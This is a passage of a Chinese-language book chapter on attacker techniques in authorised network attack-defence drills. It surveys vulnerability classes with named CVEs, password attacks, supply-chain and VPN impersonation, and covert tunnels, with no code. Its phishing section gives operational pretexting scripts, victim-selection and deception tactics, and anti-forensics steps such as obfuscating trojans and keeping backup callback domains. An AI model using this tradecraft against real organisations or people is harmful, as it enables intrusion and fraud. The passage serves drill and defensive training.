类型有以下几类。 图3-1 某次实战攻防演练中各种手段的运用 3.1.1 SQL注入漏洞 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台 数据库中的数据进行交互时会采用SQL。SQL注入就是通过把SQL命令插 入Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服 务器执行恶意SQL命令的目的。SQL注入漏洞是发生在应用程序的数据 库层的安全漏洞,是在设计应用程序时忽略了对输入字符串中夹带的 SQL命令的检查,数据库误将恶意SQL命令作为正常SQL命令运行而导致 的(见图3-2)。SQL注入漏洞被广泛用于获取目标Web系统的后台敏感 数据、修改网站数据或获取网站控制权。蓝队主要利用SQL注入漏洞实 现以下目的: ·获取后台数据库中存放的目标的隐私信息,并进一步利用这些 信息渗透拓展; ·对目标网站挂马,进一步有针对性地开展钓鱼攻击; ·获取后台应用系统的控制权限,进一步控制后台服务器。 图3-2 SQL注入检测万能语句 SQL注入漏洞多存在于用户目标官网、Web办公平台及网络应用等 之中。比如:Apache SkyWalking[1]SQL注入漏洞(CVE-2020-9483) 就是蓝队攻击中用到的一个典型的SQL注入漏洞。利用该漏洞可通过默 认未授权的GraphQL接口构造恶意请求,进而获取目标系统敏感数据以 用于进一步渗透。另一个典型的SQL注入漏洞——Django[2]SQL注入漏 洞(CVE-2021-35042)存在于CMS(内容管理系统)上。该漏洞是由于 对某函数中用户所提供的数据过滤不足导致的。攻击者可利用该漏洞 在未获授权的情况下,构造恶意数据执行SQL注入攻击,最终造成服务 器敏感信息泄露。 [1] Apache SkyWalking是一款开源的应用性能监控系统,主要针对微服 务、云原生和面向容器的分布式系统架构进行性能监控。 [2] Django是一个Web应用框架。 3.1.2 跨站漏洞 如果在程序设计时没有对用户提交的数据进行充分的合规性判断 和HTML编码处理,而直接把数据输出到浏览器客户端,用户就可以提 交一些特意构造的脚本代码或HTML标签代码。这些代码会在输出到浏 览器时被执行,从而导致跨站漏洞。利用跨站漏洞可在网站中插入任 意代码以隐蔽地运行网页木马、获取网站管理员的安全认证信息等 (见图3-3)。蓝队主要利用跨站漏洞实现以下目的: ·对目标网站植入恶意代码,有针对性地开展进一步攻击渗透; ·窃取网站管理员或访问用户的安全认证信息,进一步向个人主 机拓展; ·劫持用户会话,进一步获取网站用户隐私,包括账户、浏览历 史、IP地址等。 图3-3 两种典型的跨站攻击方式 跨站漏洞多存在于用户目标官网、外部Web办公平台等之中。比 如:DedeCMS[1]跨站请求伪造漏洞(CVE-2021-32073)存在 于/uploads/dede/search_keywords_main.php文件下,是系统对 GetKeywordList函数过滤不全导致的。攻击者可利用该漏洞将恶意请 求发送至Web管理器,从而导致远程代码执行。Apache Tomcat[2]跨站 脚本漏洞(CVE-2019-0221)是由于Apache Tomcat的某些Web应用程序 中JSP文件对用户转义处理不完全导致的,远程攻击者可以通过包含 “;”字符的特制URI请求执行跨站脚本攻击,向用户浏览器会话注入 并执行任意Web脚本或HTML代码。 [1] DedeCMS是一套基于PHP+MySQL的开源内容管理系统(CMS)。 [2] Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 3.1.3 文件上传或下载漏洞 一些网站或Web应用由于业务需求,往往需要提供文件上传或下载 功能,但若未对上传或下载的文件类型进行严格的验证和过滤,就容 易造成不受限制的文件类型上传或敏感文件下载,导致发现文件上传 或下载漏洞。利用文件上传或下载漏洞可上传恶意脚本文件并通过执 行脚本实现对目标应用的渗透控制,或获取目标的安全配置、用户口 令等敏感文件(见图3-4)。蓝队主要利用文件上传或下载漏洞实现以 下目的: ·向目标网站或应用上传脚本文件,通过脚本搜集关键信息或获 取目标控制权限; ·向目标网站或应用上传木马文件,开展水坑攻击。 图3-4 常见文件上传漏洞攻击实现 文件上传或下载漏洞多存在于用户目标官网的后台编辑器、网络 业务应用、OA办公系统等之中。比如:某NC系统任意文件上传漏洞的 成因在于上传文件处未作类型限制,未经身份验证的攻击者可通过向 目标系统发送特制数据包来利用此漏洞,在目标系统上传任意文件, 执行命令;KindEditor[1]任意文件上传漏洞形成的原因是后 台/php/upload_json.php文件不会清理用户的输入或者检查用户是否 将任意文件上传到系统,利用该漏洞,攻击者可通过构造一个恶意的 HTML文件来实现跳转、钓鱼等。 [1] KindEditor是一个开源的HTML可视化编辑器,兼容IE、Firefox、 Chrome、Safari、Opera等主流浏览器。 3.1.4 命令执行漏洞 命令执行漏洞是在Web应用、网络设备、业务系统上由于代码过滤 不严格导致用户提交的数据被解析执行而造成的漏洞,其形成的原因 是在目标应用或设备开发时对执行函数没有过滤,对用户输入的命令 安全监测不足。命令执行漏洞可以分为系统命令执行和脚本(PHP、 JSP等)代码执行两类,分别通过传入系统命令和脚本代码实现。利用 命令执行漏洞可通过浏览器或其他辅助程序提交并执行恶意代码,如 GitLab远程命令执行漏洞(见图3-5)。蓝队主要利用命令执行漏洞实 现以下目的: ·通过命令执行,非法获取目标的敏感信息,比如用户口令、安 全配置等; ·执行任意系统命令,比如添加账户操作、非法获取控制权; ·通过执行恶意代码植入木马,实现水坑攻击,以进一步拓展。 图3-5 影响非常广泛的GitLab远程命令执行漏洞(CVE-2021-22205) 命令执行漏洞多存在于各种Web组件、网络应用之中,如Web容 器、Web框架、CMS软件、安全组件、OA系统等。比如:vCenter远程命 令执行漏洞(CVE-2021-21972)是vSphere Client(HTML5)在 vCenter Server插件中存在的一个远程执行代码漏洞,未经授权的攻 击者可以通过开放443端口的服务器向vCenter Server发送精心构造的 请求,从而在服务器上写入Webshell,最终造成远程任意代码执行; 微软RDP远程代码执行漏洞(CVE-2019-0708)是一个RDP服务远程代码 执行漏洞,未经认证的恶意攻击者通过向目标主机RDP服务所在端口发 送精心构造的请求,即可在目标主机上执行任意代码。 3.1.5 敏感信息泄露漏洞 敏感信息泄露漏洞是由于代码开发、程序设计不当或后台配置疏 漏,导致不应该被前端用户看到的数据信息被轻易访问到的安全缺 陷。敏感信息泄露漏洞可能导致泄露的信息包括:后台目录及目录下 文件列表,后台操作系统、应用部署包、中间件、开发语言的版本或 其他信息,后台的登录地址、内网接口信息、数据库文件,甚至账户 口令信息等。这些敏感信息一旦泄露,就有可能会被攻击者用来寻找 更多的攻击途径和方法。蓝队主要利用敏感信息泄露漏洞实现以下目 的: ·对敏感目录文件进行操作,读取后台服务器上的任意文件,从 中搜集有价值的信息,为后续渗透积累条件; ·获取后台应用部署包、中间件或系统平台的敏感信息,进一步 利用它们控制后台服务器; ·直接利用漏洞获取后台服务器认证数据库、账户口令等重要信 息,直接用于仿冒接入。 敏感信息泄露漏洞多存在于各类Web平台、网络代理框架与网络业 务应用。比如:VMware敏感信息泄露漏洞(CVE-2020-3952)是一个与 目录服务相关的信息泄露漏洞,产生原因是VMware Directory Service(vmdir)组件在LDAP处理时检查失效和存在安全设计缺陷。 攻击者可以利用该漏洞提取到目标系统的高度敏感信息,用于破坏 vCenter Server或其他依赖vmdir进行身份验证的服务,并进一步实现 对整个vSphere部署的远程接管(见图3-6)。又如:Jetty[1]WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)是由于对“.”字符编码规范配 置不当造成在Servlet实现中可以通过%2e绕过安全限制导致的漏洞。 攻击者可以利用该漏洞下载WEB-INF目录下的任意文件,包括一些重要 的安全配置信息。 图3-6 VMware官方公布的CVE-2020-3952漏洞信息 [1] Jetty是一个基于Java的Web容器,为JSP和Servlet提供网络运行环境。 3.1.6 授权验证绕过漏洞 授权验证绕过漏洞是一种在没有授权认证的情况下可以直接访问 需要通过授权才能访问的系统资源,或者访问超出了访问权限的安全 缺陷。漏洞产生的原因是应用系统在处理认证授权请求时响应不当, 用户可通过发送特制格式的请求数据绕过授权验证过程。授权验证绕 过漏洞可导致未授权访问或越权访问。未授权访问是指在没有认证授 权的情况下能够直接访问需要通过认证才能访问的系统资源,越权访 问是指使用权限低的用户访问权限较高的用户或者相同权限的不同用 户可以互相访问(见图3-7)。蓝队主要利用授权验证绕过漏洞实现以 下目的: ·访问目标应用系统后台未授权资源,获取敏感信息,积累渗透 条件; ·通过利用漏洞获取目标应用系统的控制权限,进一步开展渗 透; ·获取目标应用系统更高的控制权限,以获取更多的目标资源。 图3-7 Jenkins未授权访问漏洞信息 授权验证绕过漏洞也多存在于各类Web平台、网络代理框架与网络 业务应用之中。比如:Apache Shiro[1]权限绕过漏洞(CVE-2020- 11989)是由于处理身份验证请求时出错导致的,远程攻击者可以发送 特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访 问;MongoDB[2]Server安全机制绕过漏洞(CNVD-2020-35382)源于应 用没有正确序列化内部的授权状态,攻击者可利用该漏洞绕过IP地址 白名单保护机制。 [1] Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授 权、密码和会话管理。 [2] MongoDB是一个基于分布式文件存储的数据库,旨在为Web应用提 供可扩展的高性能数据存储解决方案。 3.1.7 权限提升漏洞 权限提升漏洞是指本地系统或系统应用在低权限情况下可被利用 提升至高权限的安全缺陷,是因本地操作系统内网缓冲区溢出而可以 执行任意代码或因系统应用管理配置不当而可以越权操作导致的。权 限提升漏洞主要包括本地系统提权、数据库提权、Web应用提权和第三 方软件提权。权限提升漏洞多被攻击者用于在对渗透控制目标原有低 权限的基础上通过提权实现高权限命令执行或获得系统文件修改的权 限,从而实现在目标网络内更大的操作控制能力。蓝队主要利用权限 提升漏洞实现以下目的: ·获取本地系统管理员权限,以便获取用户Hash、修改系统配置 等,更方便进一步渗透拓展; ·通过数据库、Web应用、第三方软件实现对本地服务器的拓展 控制,以获取更多信息资源。 权限提升漏洞多存在于本地主机或服务器、数据库应用、Web应用 系统、虚拟化管理平台等之中。比如:Windows本地权限提升漏洞 (CVE-2021-1732)就可以被攻击者利用来将本地普通用户权限提升至 最高的system权限。该漏洞利用Windows操作系统win32k内核模块的一 次用户态回调机会,破坏函数正常执行流程,造成窗口对象扩展数据 的属性设置错误,最终导致内核空间的内存越界读写;当受影响版本 的Windows操作系统用户执行攻击者构造的利用样本时,将会触发该漏 洞,造成本地权限提升(见图3-8)。又如:Linux sudo权限提升漏洞 (CVE-2021-3156)产生的原因是Linux安全工具sudo在运行命令时对 命令参数中使用反斜杠转义特殊字符审核不严格而导致缓冲区溢出。 利用该漏洞,攻击者无须知道用户密码且在默认配置下,就可以获得 Linux系统的root权限。 图3-8 Windows本地权限提升漏洞(CVE-2021-1732)PoC应用示例 3.2 口令爆破 在网络攻防演练中,目标网络或系统有后台或登录入口的(如Web 管理、Linux系统SSH登录、Windows远程桌面、Telnet、FTP、网关管 理、VPN登录、OA系统、邮件系统或数据库服务器等),攻击者也常常 会将这些登录入口作为攻击的重点。只要能通过各种手段获取这些入 口的账户口令,攻击者就能获得目标网络或系统的访问控制权,访问 用户能访问的任何资源,并在此基础上开展进一步的攻击渗透。口令 爆破就是攻击者尝试所有可能的“用户名+口令”组合,逐一进行验 证,并尝试破解目标用户的账户口令的一种攻击手法。口令爆破是蓝 队获取目标网络或系统登录入口账户口令的重要手段。在实战攻防演 练中,由于目标网络的整体防护水平及人员网络安全意识不强,目标 网络内外网应用、服务器、网关默认口令没有修改或使用弱口令的情 况普遍存在,这为蓝队实现口令爆破提供了可能。根据口令复杂度的 不同,口令爆破可以分为弱口令和口令复用两类。 3.2.1 弱口令 弱口令通常是指容易被攻击者猜测或被破解工具破解的口令。弱 口令仅包含简单的数字和字母组合,例如123456、root、admin123 等;或是仅有一些常用或简单的变形,例如Admin、p@ssword、 root!@#等。蓝队可以通过构建弱口令字典,借助弱口令扫描工具或口 令爆破工具对远程桌面、SSH管理、默认共享等进行登录尝试(见图3- 9)。 图3-9 实战攻防演练中典型的弱口令示例 弱口令多是由于目标人员的网络安全意识不足,未能充分认识到 弱口令的安全隐患严重性导致的。除了常见的弱数字和字母组合,实 战攻防演练中常见的弱口令还有以下两种情况。 (1)产品默认口令 在部署网关、路由、综管平台、数据库服务器应用时,如果未对 设备或系统的默认口令进行修改,而这些产品的默认口令信息多可以 通过公网查询到,那么在蓝队攻击渗透过程中它们就很容易被作为首 要的口令尝试选择。此类口令利用在实战攻防演练中占据相当大的比 例,尤其是在内网拓展中,成功率非常高。 (2)与用户名关联 这种情况主要是指用户名和口令具有很大的关联性,口令是账户 使用者的姓名拼音或是用户名的简单变形等。比如,很多企业员工使 用类似zhangsan、zhangsan001、zhangsan123、zhangsan888之类的口 令。针对这类口令,蓝队在攻击前通过信息搜集提取目标人员信息 后,常常通过目标人员姓名构建简单的密码字典进行枚举即可攻陷目 标OA系统、邮件系统等。 3.2.2 口令复用 口令复用是指多个设备或系统使用同一口令的情况。实战攻防演 练中,口令复用表现为目标网络内同一账户口令被用在同类设备应用 甚至不同设备应用上。蓝队通过某一途径获取了其账户口令后,就可 以通过口令复用的方式轻而易举地登录并控制这些设备应用。口令复 用中用到的口令多是比较复杂的口令,面向的也多是相对重要的设备 应用,比如一些重要的网关设备、业务服务器、业务系统等,所以口 令复用极容易导致网络节点批量失陷,造成比较大的攻击面。口令复 用常常是指同一口令,但在实战攻防演练中,在原有口令上进行简单 的变形或是以数字相加对应设备排序等情况,也可以归为口令复用。 3.3 钓鱼攻击 钓鱼攻击是一种典型的欺诈式攻击手段,攻击者通过伪装成可以 信任的角色,利用电子邮件或其他通信渠道向被攻击者发送植入了木 马的文档或恶意链接,并诱骗被攻击者点击执行,从而实现对被攻击 者计算机的远程控制或恶意程序感染。实战攻防演练中,蓝队对目标 进行钓鱼攻击的主要目的是在目标网络中建立支点,实现外网打点突 破或内网定向攻击。通过钓鱼攻击控制被攻击者主机,并利用内网信 息搜集手段从被控的目标主机上搜集有关目标网络的安全认证、业务 应用系统操作、网络共享访问、网络组织架构和部门人员等敏感信 息,为后续进一步攻击渗透积累条件。根据钓鱼的具体实现目标的不 同,蓝队进行钓鱼攻击分为外网钓鱼和内网钓鱼,二者的主要区别见 表3-1。 表3-1 内外网钓鱼的主要区别 3.3.1 外网钓鱼 蓝队外网钓鱼的主要目的是实现对目标网络的打点突破,即向前 期搜集到的目标内部人员邮箱、平台客服、微信公众号发送植入了木 马的文件,诱骗目标人员点击钓鱼文件,使木马在对方主机上运行回 连,实现对目标主机的远程控制,并以此为支点进一步渗透目标内 网。外网钓鱼攻击的目标人员和诱骗素材投递途径往往有限,比如: 钓鱼的目标人员往往受限于前期通过各种手段能够搜集到的有关人 员,主要是一些对外业务交流人员、招聘人员、客服人员等;诱骗素 材投递途径也受限于外网邮箱、客服平台或微信公众号等外网应用。 实战攻防演练中,蓝队外网钓鱼很少使用水坑钓鱼,因为在有在控目 标网络服务器的情况下,再进行水坑钓鱼就是非必要的了(见图3- 10)。 图3-10 实战攻防演练中的钓鱼案例 外网钓鱼攻击包括以下几个步骤。 (1)钓鱼目标选定 外网钓鱼目标的选择要遵循一个原则:选择网络安全意识薄弱的 目标人员。要尽量选择客服人员、人事部门人员、财务人员或商务人 员这类人员进行钓鱼,因为这类人员通常网络安全知识基础薄弱,对 来自外网的安全威胁缺乏足够的认识,对网络钓鱼的安全防范意识 弱,所以对其进行钓鱼攻击就很容易成功,即使钓鱼过程有异常情况 (如木马运行异常、杀毒软件报警、钓鱼素材不能正常显示等)发 生。外网钓鱼应尽量避免针对运维管理人员这类具有较强网络安全知 识基础的人员,除非掌握了其相当准确的个人情况(喜好、工作习 惯、工作岗位),以及有高效的诱骗工具、素材和充分的异常应对措 施。 (2)钓鱼工具准备 高效的工具是保证钓鱼成功的关键。工具的准备工作主要围绕诱 骗文档格式选择和木马免杀展开:诱骗文档格式决定了木马触发的方 式,木马免杀则决定了是否成功运行并回连控制。在实战攻防演练中 常见的诱骗文档格式和形式有可执行文件、反弹脚本、Office宏、 Office文档捆绑、CHM文档、LNK文件、HTA文件、文件后缀RTLO和自解 压运行压缩包等,这些文档格式和形式可以根据钓鱼素材灵活搭配使 用。木马免杀则主要依据前期目标信息搜集,综合考虑目标网络安全 防护、杀毒软件类型、钓鱼目标个人办公环境等因素进行有针对性的 免杀,以确保木马顺利执行并出网回连。 (3)钓鱼素材和沟通话术准备 选定钓鱼目标后,就要有针对性地准备钓鱼素材和沟通话术。钓 鱼素材的选择取决于钓鱼目标人员的性质,比如: ·对客服人员可以选择服务投诉或问题咨询; ·对人事部门人员可以选择人员岗位应聘或最新人事变动动态; ·对财务人员可以选择目标业务财报或行业投资资讯; ·对商务人员可以选择业务合作或产品推广等。 钓鱼沟通话术准备主要围绕素材开展,比如: ·对客服人员可以用比较强硬的口气,要求问题马上得到解决, 用客户至上的要求给予客服人员压力; ·对人事部门人员则以友好沟通的口气,通过沟通需求建立信 任,伺机发送诱骗文档; ·对财务人员假装进行咨询和评估,用比较专业的口气进行分析 与研讨; ·对商务人员则诱其以利,若即若离,让其主动上当。 (4)进行钓鱼 实战攻防演练中,被攻击目标常常会在演练前向内部人员发出防 范钓鱼攻击的通知或提出相关要求,这就给钓鱼攻击增加了不小的难 度,而蓝队常常通过对钓鱼攻击时机和钓鱼目标心理的把握来提高成 功率。攻击时机最好选择被攻击目标可能心理懈怠而毫无防备之时, 比如:沟通过程比较顺畅,逐渐取得信任的时候;工作日人员容易懈 怠的时候,如周一至周四临近下班时间、周五下午等。对被攻击目标 心理的把握则主要采取换位思考的方式,在沟通交流中提前判断对方 可能采取的下一步动作,及时变换沟通技巧和方法,从而全面掌握主 动,达到“愿者上钩”的最佳钓鱼效果。 3.3.2 内网钓鱼 蓝队内网钓鱼的主要目的是实现在内网中的定向攻击,主要针对 目标网络运维管理人员、重要业务人员或部门领导,因为这些人往往 掌握目标网络或业务比较核心的资源信息,突破这些重要人员的主机 并获取重要的目标网络信息,会给渗透拓展带来很大的便利。内网钓 鱼攻击在攻击目标的选择上具有较强的针对性,并且钓鱼途径也相对 灵活,比如:可以通过内网OA、内网邮件服务器、内网业务文件共 享、内网办公软件更新或内网Web应用水坑钓鱼等途径。同时,因为内 网钓鱼具有较大的信任优势,成功率也会高很多(见图3-11)。 图3-11 实战攻防演练中的内网钓鱼案例 内网钓鱼攻击包括以下几个步骤。 (1)钓鱼目标选定 内网钓鱼主要是为了对内网重点网络或业务系统进行定点渗透拓 展,所以对目标的选择主要根据实际任务的进展需求开展,比如:若 是为了实现对内网重要网络节点进行拓展控制,则主要选择网络运维 管理人员作为钓鱼目标;若是为了对主要核心业务应用进行拓展控 制,则主要选择目标核心业务人员作为钓鱼目标。 (2)钓鱼工具准备 内网钓鱼工具的准备和外网钓鱼工具的准备一样,也需要综合考 虑内网钓鱼途径的选择和钓鱼目标的内网安全防护、杀毒软件类型、 个人办公环境等因素,以确保钓鱼成功。 (3)钓鱼素材和钓鱼话术准备 可根据钓鱼途径灵活选择内网钓鱼素材。通过内网OA、邮件服务 器钓鱼则选择钓鱼目标人员比较感兴趣的素材,比如: ·针对网络运维管理人员,选择与网络安全动态、网络安全建设 有关的素材; ·针对重要业务人员和领导,则选择与目标业务内容或业务系统 应用相关的话题。 另外,所有人员比较关心的薪资、福利问题也是内网不错的钓鱼 素材。如果要通过文件共享、软件更新或内网Web应用挂马途径,则选 择定期业务报告、应用软件升级包或业务动态等与业务密切相关而容 易让人感兴趣的内容作为钓鱼素材。 内网钓鱼的话术选择也相对灵活,因为有信任关系,往往可以开 门见山,用内部领导或同事的口气进行交流,比如:以网络安全通 知、内网软件需要更新、同事问题求助或其他内部关注话题等作为话 题,利用内网信任关系诱导内网目标人员点击中招。 (4)进行钓鱼 实施钓鱼时,内网钓鱼不必像外网钓鱼那样,需要准确把握被攻 击目标的心理和合理时机抛出诱饵,而可以用开门见山的方式直接抛 出话题诱饵。因为内网钓鱼利用的就是信任关系,实施钓鱼时过多的 铺垫反而容易引起对方怀疑,直接抛出诱饵成功率会更高。实施内网 业务文件共享、内网办公软件更新或内网Web应用水坑钓鱼,则要利用 通过目标信息搜集所掌握的情况,充分把握目标内网人员的办公习惯 直接进行文件替换或木马植入。 3.3.3 钓鱼应急措施 蓝队在钓鱼攻击过程中,经常会碰到被质疑或被发现的情况,钓 鱼攻击前就需要做好应急预案,以防引起被攻击目标的警觉或被反向 追踪溯源。采取的常见措施有以下几种。 (1)即使诱骗成功也要适当掩饰 利用诱骗文档钓鱼时,诱骗文档常常不包含诱骗素材的真正内 容,需要在已经触发木马钓鱼成功的情况下,再次发送一份相同素材 主题的正常文档进行掩饰,以免引起对方怀疑。 (2)钓鱼文档异常应对 针对钓鱼文档异常(如文档无法正常打开、目标的杀毒软件报 警)导致对方提出疑问的情况,或假装不知(如在我的电脑上正常, 可能是软件版本、系统环境导致的异常),或用一些专业性的话题蒙 混过关(如文档采用了不常用模板,模板格式问题导致异常),同时 抛出正常文档进行掩饰,再伺机套出对方的杀毒软件类型、系统环 境,然后尽快处理免杀或规避,以备后续改进攻击方式。 (3)反溯源应对 针对被对方发现并有可能被对方分析溯源的情况,需要对钓鱼文 档或木马做好反溯源处理,具体方法如下: ·彻底清除文档或木马编译生成时自动搜集和集成到文档内部的 操作系统、文件路径或计算机用户名信息; ·对木马可执行文件进行加壳或代码混淆处理,增加逆向分析难 度; ·编译木马时对其反弹回连所需的域名、IP地址和端口等关键字 段信息进行加密处理,防止泄露,防止此类敏感信息被分析到; ·木马回连域名、IP地址和端口使用备份机制,每个木马中集成2 个以上回连选择,在1个域名IP地址被封的情况下,备用域名IP地址可 能会发挥作用。 3.4 供应链攻击 供应链攻击也叫第三方攻击,是蓝队在实战攻防演练中采取的一 种迂回攻击手段。目标网络建设所需各项关键基础设施和重要资源严 重依赖第三方产品和服务提供商,并且大多数目标用户对第三方提供 商的产品和服务是信任的,这就为攻击者开展供应链攻击提供了条 件。供应链攻击在外网纵向突破和内网横向拓展中均有运用,外网主 要围绕目标互联网侧的产品漏洞或服务安全入口薄弱点开展,内网则 主要围绕第三方产品或自主开发应用的漏洞开展。供应链攻击具有迂 回隐蔽不易被发现、产品或服务利用环节多样、攻击影响面较大的特 点,成为蓝队越来越依仗的攻击手段。供应链攻击的途径主要有三 种,如图3-12所示。 图3-12 供应链攻击的三种途径 3.4.1 网络或平台提供商 网络或平台提供商是指提供通信基础网络、应用托管平台或服务 器的第三方提供商,主要包括网络提供商、Web应用或服务器托管平 台、云网络平台提供商等。目标网络往往需要借助这些第三方提供商 来接入互联网,提供网络服务平台支撑。对此类第三方提供商开展供 应链攻击,可以接触到目标基础网络或平台底层服务,容易实现对目 标的全面渗透和控制。对于不同的提供商,渗透和控制的实现路径具 体如下。 (1)网络提供商 渗透进入目标网络提供商的网络,在提供商内通过目标网络IP分 配或服务提供的信息定位目标网络接入点(主要是路由网关),利用 该路由网关的信任通联关系或对目标网络的边界路由网关开展渗透, 通过漏洞利用或网络数据劫持,获取目标网络的边界网关或路由控制 权,进一步向目标内网渗透拓展。常见的例子有在APT攻击中,直接对 目标国家/地区的网络基础运营商开展攻击控制,再以此为跳板向受害 目标网络进行渗透拓展。 (2)应用平台提供商 渗透进入目标网络云托管平台、服务器资源提供商网络,根据托 管服务定位目标托管业务的所在位置,渗透获取托管业务的控制权 限,在托管业务中植入恶意代码对目标人员开展水坑攻击,或通过托 管业务寻找托管业务与目标本地网络的接口(主要是托管业务管理接 口),利用漏洞利用或仿冒接入等手段进一步渗透拓展本地网络,获 取目标本地网络的接入控制支点。目前常见的例子有对目标云托管平 台提供商进行渗透,通过获取目标业务托管接入认证信息,并进一步 利用这些认证信息进行接入控制。 此类供应链攻击虽然危害比较大,但是攻击难度大,花费时间 长,所以在实战攻防演练中使用得不多。此类供应链攻击在APT攻击中 使用得较多,因为APT攻击多是针对国家或政府的核心职能部门开展的 网络攻击和渗透。这些核心职能部门的网络往往对外接口非常少,并 且隔离防护非常严,对其开展正面攻击往往难度非常大;但是这些网 络还必须借助基础网络建设或联网,APT攻击就通过这些第三方网络或 平台实现对核心目标网络的迂回渗透。 3.4.2 安全服务提供商 此类供应链攻击主要针对的是将网络安全服务外包的目标网络。 目标网络受限于自身网络安全运维管理的人力或技术水平,常常会将 自身网络建设和安全运维工作交由第三方提供商来完成,第三方提供 商手里就会掌握有关目标网络的重要入口控制信息或大量的网络安全 信息,这在受到供应链攻击时就会带来相当大的安全隐患。攻击者可 以通过攻击第三方安全运维人员,获取运维人员管理目标网络的权 限,并借助其管理权限接入目标网络。这种攻击具有很大的隐蔽性, 因为目标网络无法准确判断通过第三方运维服务进行接入连接的是运 维人员还是攻击者。 下面来看一个实战攻防演练中通过安全服务提供商开展供应链攻 击的典型例子。某目标将关键网络安全运维工作,包括关键 VPN(Virtual Private Network,虚拟专用网络)网关、网络运维入 口管控等,全部外包给第三方网络公司。蓝队在前期侦察中发现了这 一情况,随即对第三方安全服务提供商开展针对性工作,获取了目标 网络内网接入的VPN账号口令,并利用获取的口令成功接入目标内网, 进一步控制了目标内网的大量堡垒机和重要服务器。此次蓝方发起的 供应链攻击通过第三方安全服务提供商直接将目标网络全盘拿下。 3.4.3 产品或应用提供商 通过产品或应用提供商开展供应链攻击主要是围绕第三方系统、 应用或设备开展工作,利用各种手段获取第三方提供商的原厂设备或 应用源码,并对设备进行解剖分析或对源码进行代码审计以寻找其可 能存在的安全漏洞,进而利用发现的漏洞实现对目标网络的突破。实 战攻防演练中常用的第三方应用源码获取方式主要有两种:一种是通 过公开手段,在公网GitHub、Gitee、凌风云之类的互联网资源库中搜 集相关的应用源码,这类源码主要是由开发人员无意中泄露或公开发 布的;另一种手段是通过渗透控制第三方提供商,控制第三方开发资 源库获取相关设备或应用源码,或者直接通过第三方提供商内部获取 设备或应用的安全缺陷或后门。对第三方资源的利用则包括自主挖掘 漏洞或原有后门利用、更新包捆绑恶意代码并推送、对应用开发依赖 文件包进行恶意代码植入等,借助第三方设备或应用打开目标网络的 突破口,如SolarWinds供应链攻击(见图3-13)。 图3-13 著名的SolarWinds供应链攻击示意图 下面来看一个实战攻防演练中通过应用提供商开展供应链攻击的 典型例子。围绕目标展开的前期侦察发现,某网络科技公司是该目标 的无纸化系统提供商,遂针对该公司开展工作。利用该公司BBS论坛的 dz漏洞控制该BBS论坛的后台服务器,进一步拓展该公司的SVN服务 器;从中发现目标在用无纸化系统源码,对目标的无纸化系统源码进 行代码审计,挖掘出0day漏洞;利用挖掘出的0day漏洞控制目标网络 无纸化系统的后台服务器,成功接入目标内网;继续在目标内网横向 拓展,最终控制目标内部业务网络的大量服务器和业务系统。 3.5 VPN仿冒接入 VPN是利用Internet等公共网络基础设施,通过隧道加密通信技 术,为用户提供安全的数据通信的专用网络,可以实现不同网络之间 以及用户与网络之间的相互连接。通过VPN组网,网络内部各分支可以 实现像本地访问一样的安全通信交互,远程用户或商业合作伙伴也可 以安全穿透企业网络的边界,访问企业内部资源。随着VPN在政府、机 构、企业的网络部署中越来越普遍,VPN在政府、机构、企业的远程办 公中占据越来越重要的地位。在VPN网络内,分支机构、合作伙伴、客 户和外地出差人员可以随时随地通过VPN接入访问内部资料、办公OA、 内网邮件系统、ERP系统、CRM系统、项目管理系统等,因此VPN仿冒接 入成为蓝队利用的攻击手段之一。只要获取了目标VPN网络的接入权 限,攻击者就能仿冒合法认证接入目标内网,并可以进一步隐蔽渗透 (见图3-14)。 图3-14 VPN仿冒接入攻击 实现VPN仿冒接入的前提是获取VPN接入权限,因此VPN仿冒接入攻 击工作主要围绕如何获取VPN接入权限展开。实战攻防演练中蓝队主要 通过以下两种途径获取VPN接入权限。 1. 获取VPN认证信息 直接针对具有VPN接入权限的VPN网络管理员、内部个人用户、分 支机构、合作伙伴或客户开展网络攻击,通过渗透窃取他们的VPN接入 账户口令或接入凭据,再仿冒其身份接入目标内网进行进一步渗透拓 展。蓝队攻击获取VPN认证信息的常用方式有以下几个: ·针对目标人员钓鱼,控制目标个人计算机后,伺机窃取VPN接 入信息; ·通过供应链攻击针对目标的安全服务提供商,迂回获取VPN入 口和接入认证信息; ·通过漏洞利用直接从VPN网关设备上获取VPN网关账户信息; ·除了外网常用的途径外,内网还经常可以通过口令复用或弱口 令获取VPN账户口令信息。 前面讲到的通过安全服务提供商开展供应链攻击、获取第三方安 全运维服务的VPN账户口令的案例,也是一个典型的VPN仿冒接入的实 战攻防演练例子。 2. 控制VPN网关 主要针对暴露在互联网侧的VPN网关设备开展攻击,通过设备漏洞 利用控制VPN网关设备,再利用边界网关设备控制权限和内外网通联优 势渗透内网。蓝队控制VPN网关的常见实现方式有:利用漏洞实现远程 代码执行,添加管理员账户,控制网关设备,通过任意文件读取漏洞 未经身份验证地窃取网关设备管理凭据,或者通过注入漏洞获取后台 管理数据库中的账户口令信息。 实战攻防演练中有一个比较典型的例子是通过VPN网关漏洞实现突 破。在对某目标的前期侦察和探测中,在总部网络上未发现任何可利 用的薄弱点;随即根据目标业务地域分散的特点,对其分支机构开展 侦察,在某分支机构的网络边界发现Fortinet VPN历史漏洞;通过漏 洞利用接入分支机构网络的内网,并进一步通过分支机构网络完成对 目标总部网络的渗透拓展。 3.6 隐蔽隧道外连 隧道是一种利用封装和加密技术实现网络间数据通信的方式,也 是一种蓝队在攻击渗透过程中绕过目标边界防火墙的通信策略限制的 手段。在实际的网络安全部署中,网络边界上通常会部署各种边界设 备、软硬件防火墙或入侵检测系统来检查网络的对外连接情况,如果 发现异常流量、可疑连接或通信,它们就会对此类通信连接进行阻 断。蓝队在攻击的过程中,常常会碰到攻击动作或流量被察觉、目标 内网无法出网的情况,这就需要借助隐蔽隧道外连手段实现攻击动作 的隐蔽执行和攻击数据的隐蔽通信,或突破目标网络的边界隔离限 制,实现外网到内网的跨边界跳转访问控制。隐蔽隧道外连主要通过 加密通信和端口转发技术组合实现:加密通信就是先将通信数据加密 处理后再进行封装传输,主要目的是通过加密数据通信逃避流量内容 检测,从而规避安全网关对危险动作或文件格式的过滤;端口转发就 是对网络端口流量从一个网络节点到另一个网络节点的转发,主要目 的是实现网络通信在网络节点之间的定向跳转,从而实现对一些隔离 网络节点的间接访问。某任务中的隧道代理案例如图3-15所示。 图3-15 